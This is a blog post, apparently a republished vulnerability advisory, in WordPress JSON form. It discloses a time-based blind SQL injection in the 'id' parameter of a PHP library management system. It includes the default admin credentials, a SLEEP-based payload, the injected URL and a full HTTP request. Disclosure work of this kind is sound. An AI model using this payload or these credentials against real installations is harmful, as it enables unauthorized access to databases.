#### Title: Library Management System with QR code Attendance 1.0 SQL
\nInjection
\n#### Author: Ashish Kumar (
\nhttps:\/\/www.linkedin.com\/in\/ashish-kumar-0b65a3184)
\n#### Date: 27.06.2022
\n#### Vendor: https:\/\/www.sourcecodester.com\/users\/kingbhob02
\n#### Software:
\nhttps:\/\/www.sourcecodester.com\/php\/15434\/library-management-system-qr-code-attendance-and-auto-generate-library-card.html
\n#### Version: 1.0
\n#### Reference:
\nhttps:\/\/github.com\/CyberThoth\/CVE\/blob\/main\/CVE\/Library%20Management%20System%20with%20QR%20code%20Attendance\/Sql%20Injection\/POC.md<\/p>\n
#### Description\uff1a
\n##### The reason for the SQL injection vulnerability is that the website
\napplication does not verify the validity of the data submitted by the user
\nto the server (type, length, business parameter validity, etc.), and does
\nnot effectively filter the data input by the user with special characters ,
\nso that the user’s input is directly brought into the database for
\nexecution, which exceeds the expected result of the original design of the
\nSQL statement, resulting in a SQL injection vulnerability.Library
\nManagement System with QR code Attendance does not filter the content
\ncorrectly at the “bookdetails.php” id parameter, resulting in the
\ngeneration of SQL injection.<\/p>\n
#### Payload used:
\n`’ AND (SELECT 9198 FROM (SELECT(SLEEP(5)))iqZA)– PbtB`<\/p>\n
#### POC<\/p>\n
1. Login into the CMS.
\nAdmin Default Access:<\/p>\n
Username: admin<\/p>\n
Password: admin<\/p>\n
2. http:\/\/localhost\/LMS\/librarian\/bookdetails.php?id=191<\/p>\n
3. Put sleep(5) payload (`’ AND (SELECT 9198 FROM (SELECT(SLEEP(5)))iqZA)–
\nPbtB`)<\/p>\n
4. `http:\/\/localhost:80\/LMS\/librarian\/bookdetails.php?id=’ AND (SELECT 9198
\nFROM (SELECT(SLEEP(5)))iqZA)– PbtB`<\/p>\n
5. code
\n“`
\nGET
\n\/LMS\/librarian\/bookdetails.php?id=%27%20AND%20(SELECT%209198%20FROM%20(SELECT(SLEEP(5)))iqZA)–%20PbtB
\nHTTP\/1.1
\nHost: localhost
\nsec-ch-ua: “Chromium”;v=”97″, ” Not;A Brand”;v=”99″
\nsec-ch-ua-mobile: ?0
\nsec-ch-ua-platform: “Windows”
\nUpgrade-Insecure-Requests: 1
\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36
\n(KHTML, like Gecko) Chrome\/97.0.4692.71 Safari\/537.36
\nAccept:
\ntext\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.9
\nSec-Fetch-Site: none
\nSec-Fetch-Mode: navigate
\nSec-Fetch-User: ?1
\nSec-Fetch-Dest: document
\nAccept-Encoding: gzip, deflate
\nAccept-Language: en-GB,en-US;q=0.9,en;q=0.8
\nCookie: PHPSESSID=0r78mi76ub6k55p8mkce7f4pco
\nConnection: close
\n“`<\/p>\n","protected":false},"excerpt":{"rendered":"
#### Title: Library Management System with QR code Attendance 1.0 SQL Injection #### Author: Ashish Kumar ( https:\/\/www.linkedin.com\/in\/ashish-kumar-0b65a3184) #### Date: 27.06.2022 #### Vendor: https:\/\/www.sourcecodester.com\/users\/kingbhob02 #### Software: https:\/\/www.sourcecodester.com\/php\/15434\/library-management-system-qr-code-attendance-and-auto-generate-library-card.html #### Version: 1.0 #### Reference: https:\/\/github.com\/CyberThoth\/CVE\/blob\/main\/CVE\/Library%20Management%20System%20with%20QR%20code%20Attendance\/Sql%20Injection\/POC.md #### Description\uff1a ##### The reason for the SQL injection vulnerability is that the website application does not verify the validity of the …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-26287","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26287","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=26287"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/26287\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=26287"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=26287"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=26287"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}